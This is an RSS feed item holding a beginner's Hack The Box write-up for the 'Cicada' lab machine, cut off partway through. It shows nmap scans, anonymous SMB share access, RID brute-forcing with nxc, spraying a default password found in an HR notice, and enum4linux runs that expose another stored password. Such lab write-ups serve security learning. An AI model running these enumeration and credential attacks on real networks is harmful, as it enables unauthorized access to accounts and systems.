<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Razin</title>
    <description>The latest articles on DEV Community by Razin (@razinalfateh).</description>
    <link>https://dev.to/razinalfateh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2779085%2Fd572b695-c8ff-4cda-b520-18305322e9a0.png</url>
      <title>DEV Community: Razin</title>
      <link>https://dev.to/razinalfateh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/razinalfateh"/>
    <language>en</language>
    <item>
      <title>Cicada Hack The Box Writeup</title>
      <dc:creator>Razin</dc:creator>
      <pubDate>Tue, 18 Feb 2025 13:59:41 +0000</pubDate>
      <link>https://dev.to/razinalfateh/cicada-hack-the-box-writeup-3hhl</link>
      <guid>https://dev.to/razinalfateh/cicada-hack-the-box-writeup-3hhl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nc1op024quw5xkg9p02.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nc1op024quw5xkg9p02.png" alt="Image description" width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cicada is an easy-difficulty Windows machine designed to be straightforward, with no rabbit holes. Let’s dive in and explore how to hack this box!&lt;/p&gt;

&lt;p&gt;As a beginner in hacking, the most important step is reconnaissance, and &lt;a href="https://nmap.org/" rel="noopener noreferrer"&gt;Nmap&lt;/a&gt; is an essential tool for this process. However, before diving into reconnaissance, it’s essential to map the target machine’s IP address to a hostname by adding an entry to the &lt;code&gt;/etc/hosts&lt;/code&gt; file. This step ensures seamless communication with the target during the hacking process.&lt;/p&gt;

&lt;p&gt;To do this, open the &lt;code&gt;/etc/hosts&lt;/code&gt; file using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo nano /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the target machine’s IP address and map it to the hostname cicada.htb as shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;Target_IP&amp;gt;    cicada.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace &lt;code&gt;&amp;lt;Target_IP&amp;gt;&lt;/code&gt; with the actual IP address of the machine. Here’s a visual example for reference:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhr1cl9mc39shvnqgpruo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhr1cl9mc39shvnqgpruo.png" alt="Image description" width="457" height="91"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Nmap Scan Results
&lt;/h2&gt;

&lt;p&gt;To begin reconnaissance, I ran an Nmap scan using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sC -sV 10.10.11.35
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command performs a script scan (&lt;code&gt;-sC&lt;/code&gt;) and a version detection scan (&lt;code&gt;-sV&lt;/code&gt;) to gather detailed information about the target. Here are the results:&lt;br&gt;
&lt;strong&gt;Nmap Output&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.061s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-31 13:36:34Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-31T13:37:15
|_  start_date: N/A
|_clock-skew: 6h43m37s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.36 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analysis of the Results&lt;/strong&gt;&lt;br&gt;
The Nmap scan revealed several open ports and services running on the target machine. Here’s a breakdown of the key findings:&lt;/p&gt;

&lt;p&gt;1.&lt;strong&gt;Domain Controller Identification:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The hostname &lt;code&gt;CICADA-DC.cicada.htb&lt;/code&gt; and the presence of Active Directory-related services (LDAP, Kerberos) suggest that this machine is a &lt;strong&gt;Domain Controller&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;strong&gt;Open Ports and Services:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 53 (DNS)&lt;/strong&gt;: Indicates a DNS server is running, which is typical for a Domain Controller.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 88 (Kerberos&lt;/strong&gt;): Used for authentication in Active Directory environments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ports 135, 139, 445 (SMB/RPC)&lt;/strong&gt;: Commonly associated with Windows file sharing and remote procedure calls.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ports 389, 636, 3268, 3269 (LDAP)&lt;/strong&gt;: Used for directory services, with ports 636, 3269 being LDAP over SSL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 5985 (WinRM)&lt;/strong&gt;: Indicates the Windows Remote Management service is running, which could be a potential entry point.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;strong&gt;Security Observations&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SMB Signing&lt;/strong&gt;: Enabled and required, which makes SMB-based attacks more challenging.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSL Certificates&lt;/strong&gt;: The certificates for LDAP services are valid and tied to the hostname &lt;code&gt;CICADA-DC.cicada.htb&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next Steps&lt;/strong&gt;&lt;br&gt;
Based on the Nmap results, the following steps are recommended:&lt;/p&gt;

&lt;p&gt;1.&lt;strong&gt;Enumerate SMB Shares&lt;/strong&gt;: Check for accessible shares using tools like &lt;code&gt;smbclient&lt;/code&gt; or &lt;code&gt;crackmapexec&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;2.&lt;strong&gt;Inspect LDAP&lt;/strong&gt;: Use tools like &lt;code&gt;ldapsearch&lt;/code&gt; to gather information about the Active Directory environment.&lt;/p&gt;

&lt;p&gt;3.&lt;strong&gt;Explore WinRM&lt;/strong&gt;: Since port 5985 is open, WinRM could be a potential vector for exploitation.&lt;/p&gt;
&lt;h2&gt;
  
  
  Enumerating SMB Shares
&lt;/h2&gt;

&lt;p&gt;To gather more information about the target, I used &lt;code&gt;smbclient&lt;/code&gt; to enumerate the SMB shares available on the machine. The following command was executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smbclient -L //10.10.11.35 -N
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command lists all available shares on the target (&lt;code&gt;-L&lt;/code&gt;) without attempting to authenticate (&lt;code&gt;-N&lt;/code&gt;). Here are the results:&lt;br&gt;
&lt;strong&gt;SMB Share Enumeration Results:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
DEV             Disk      
HR              Disk      
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analysis of SMB Shares&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The enumeration revealed several SMB shares, each serving a specific purpose:&lt;/p&gt;

&lt;p&gt;1.&lt;strong&gt;Default Administrative Shares:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ADMIN$&lt;/strong&gt;: Used for remote administration.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;C$&lt;/strong&gt;: Provides access to the root of the &lt;code&gt;C:&lt;/code&gt; drive.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;strong&gt;Custom Shares:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DEV&lt;/strong&gt;: Likely used for development purposes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;HR&lt;/strong&gt;: Possibly related to human resources data.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;strong&gt;System Shares:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;IPC$&lt;/strong&gt;: Used for inter-process communication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;NETLOGON&lt;/strong&gt; and &lt;strong&gt;SYSVOL&lt;/strong&gt;: Critical for Active Directory logon and Group Policy distribution.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next Steps&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1.&lt;strong&gt;Explore Accessible Shares:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attempt to access the non-default shares (&lt;code&gt;DEV&lt;/code&gt; and &lt;code&gt;HR&lt;/code&gt;) to see if they contain any useful information or files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;strong&gt;Check for Null Session Vulnerability:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Test if the &lt;code&gt;IPC$&lt;/code&gt; share allows null session enumeration, which could reveal additional information about the system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;strong&gt;Gather Credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If credentials are obtained (e.g., through other enumeration techniques), revisit the administrative shares (&lt;code&gt;ADMIN$&lt;/code&gt; and &lt;code&gt;C$&lt;/code&gt;) for deeper access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Exploring the HR Share
&lt;/h2&gt;

&lt;p&gt;After enumerating the available SMB shares, I found the HR share to be particularly interesting. To explore its contents, I used the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smbclient //10.10.11.35/HR -N
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command connects to the HR share without authentication (&lt;code&gt;-N&lt;/code&gt;). Once connected, I listed the files in the share using the &lt;code&gt;ls&lt;/code&gt; command:&lt;br&gt;
&lt;strong&gt;Contents of the HR Share:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; ls
  .                                   D        0  Thu Mar 14 08:29:09 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 13:31:48 2024

                4168447 blocks of size 4096. 435811 blocks available

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Retrieving the File&lt;/strong&gt;&lt;br&gt;
The share contained a single file named &lt;code&gt;Notice from HR.txt&lt;/code&gt;. To download it for further analysis, I used the &lt;code&gt;get&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (2.7 KiloBytes/sec) (average 2.7 KiloBytes/sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analyzing the HR Notice&lt;/strong&gt;&lt;br&gt;
After downloading the &lt;code&gt;Notice from HR.txt file&lt;/code&gt;, I examined its contents using the &lt;code&gt;cat&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat Notice\ from\ HR.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents of &lt;code&gt;Notice from HR.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings&lt;/strong&gt;&lt;br&gt;
1.&lt;strong&gt;Default Password&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The file contains a default password: &lt;code&gt;Cicada$M6Corpb*@Lp#nZp!8&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This password is likely associated with a new hire’s account, which could be a potential entry point.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;strong&gt;Username Hint:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;While the file does not explicitly mention a username, it references logging into a "Cicada Corp account." This suggests that usernames might follow a predictable pattern (e.g., &lt;code&gt;firstname.lastname&lt;/code&gt; or &lt;code&gt;newhire&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next Steps&lt;/strong&gt;&lt;br&gt;
1.&lt;strong&gt;Identify Usernames:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use tools like &lt;code&gt;kerbrute&lt;/code&gt; or &lt;code&gt;enum4linux&lt;/code&gt; or &lt;code&gt;nxc&lt;/code&gt; to enumerate valid usernames in the Active Directory environment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Alternatively, consider common username formats (e.g., &lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;newhire&lt;/code&gt;, &lt;code&gt;user&lt;/code&gt;) based on the context.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;strong&gt;Test the Default Password:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Attempt to authenticate using the default password &lt;code&gt;Cicada$M6Corpb*@Lp#nZp!8&lt;/code&gt; with potential usernames.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Focus on services like SMB, WinRM (port 5985), or Kerberos (port 88).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;strong&gt;Explore WinRM:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Since port 5985 (WinRM) is open, use tools like &lt;code&gt;evil-winrm&lt;/code&gt; to test the credentials and gain access to the machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Enumerating Usernames
&lt;/h2&gt;

&lt;p&gt;To identify valid usernames on the target machine, I used two approaches: Kerberos enumeration with Nmap and SMB RID brute-forcing with &lt;code&gt;nxc&lt;/code&gt;.&lt;br&gt;
&lt;strong&gt;1. Kerberos Enumeration with Nmap&lt;/strong&gt;&lt;br&gt;
I started by using Nmap’s &lt;code&gt;krb5-enum-users&lt;/code&gt; script to enumerate Kerberos principals. The following command was executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -Pn -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm='cicada.htb' 10.10.11.35
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.046s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     guest@cicada.htb
|_    administrator@cicada.htb

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;&lt;br&gt;
Two valid usernames were discovered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;guest&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;administrator&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. SMB RID Brute-Forcing with nxc&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Next, I used &lt;code&gt;nxc&lt;/code&gt; to perform a RID brute-force attack on the SMB service. This technique enumerates users and groups by querying Security Identifiers (SIDs). The following command was executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nxc smb 10.10.11.35 -u 'anonymous' -p '' --rid-brute 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)                                                                                                                           
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\anonymous: (Guest)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The RID brute-force attack revealed several valid usernames:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Administrator&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Guest&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;krbtgt&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;CICADA-DC$ (machine account)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;john.smoulder&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;sarah.dantelia&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;michael.wrightson&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;david.orelious&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;emily.oscars&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Consolidated List of Usernames&lt;/strong&gt;&lt;br&gt;
Based on the enumeration results, the following usernames were identified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;administrator
guest
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Enumerating User Information with enum4linux
&lt;/h2&gt;

&lt;p&gt;While &lt;code&gt;enum4linux&lt;/code&gt; is a powerful tool for enumerating information from Windows systems, it does not include a built-in brute-force feature. To work around this limitation, I manually tested the default password &lt;code&gt;Cicada$M6Corpb*@Lp#nZp!8&lt;/code&gt; against the enumerated usernames. The account &lt;code&gt;michael.wrightson&lt;/code&gt; was found to still be using the default password. To gather more information, I ran the following &lt;code&gt;enum4linux&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;enum4linux -A -a -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings from enum4linux:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Valid Credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The server allows sessions using the username michael.wrightson and the password &lt;code&gt;Cicada$M6Corpb*@Lp#nZp!8&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.Domain Information:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Domain Name: CICADA&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Domain SID: S-1-5-21-917908876-1423158569-3159038727&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3.OS Information:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The target is a Windows Server acting as a Primary Domain Controller (PDC).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;OS Version: Windows Server 2022 (based on the platform ID and server type).&lt;br&gt;
&lt;strong&gt;4.User Accounts:&lt;/strong&gt;&lt;br&gt;
The enumeration revealed several user accounts, including:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Administrator&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Guest&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;john.smoulder&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;sarah.dantelia&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;michael.wrightson&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;david.orelious&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;emily.oscars&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;5.Interesting Note:&lt;/strong&gt;&lt;br&gt;
The account &lt;code&gt;david.orelious&lt;/code&gt; has a description that reads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Just in case I forget my password is aRt$Lp#7t*VQ!3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Next Steps&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Test the Password for david.orelious:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use the password &lt;code&gt;aRt$Lp#7t*VQ!3&lt;/code&gt; to attempt authentication for the &lt;code&gt;david.orelious&lt;/code&gt; account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Test the password across services like SMB, WinRM, and Kerberos.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.Explore Access for michael.wrightson:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
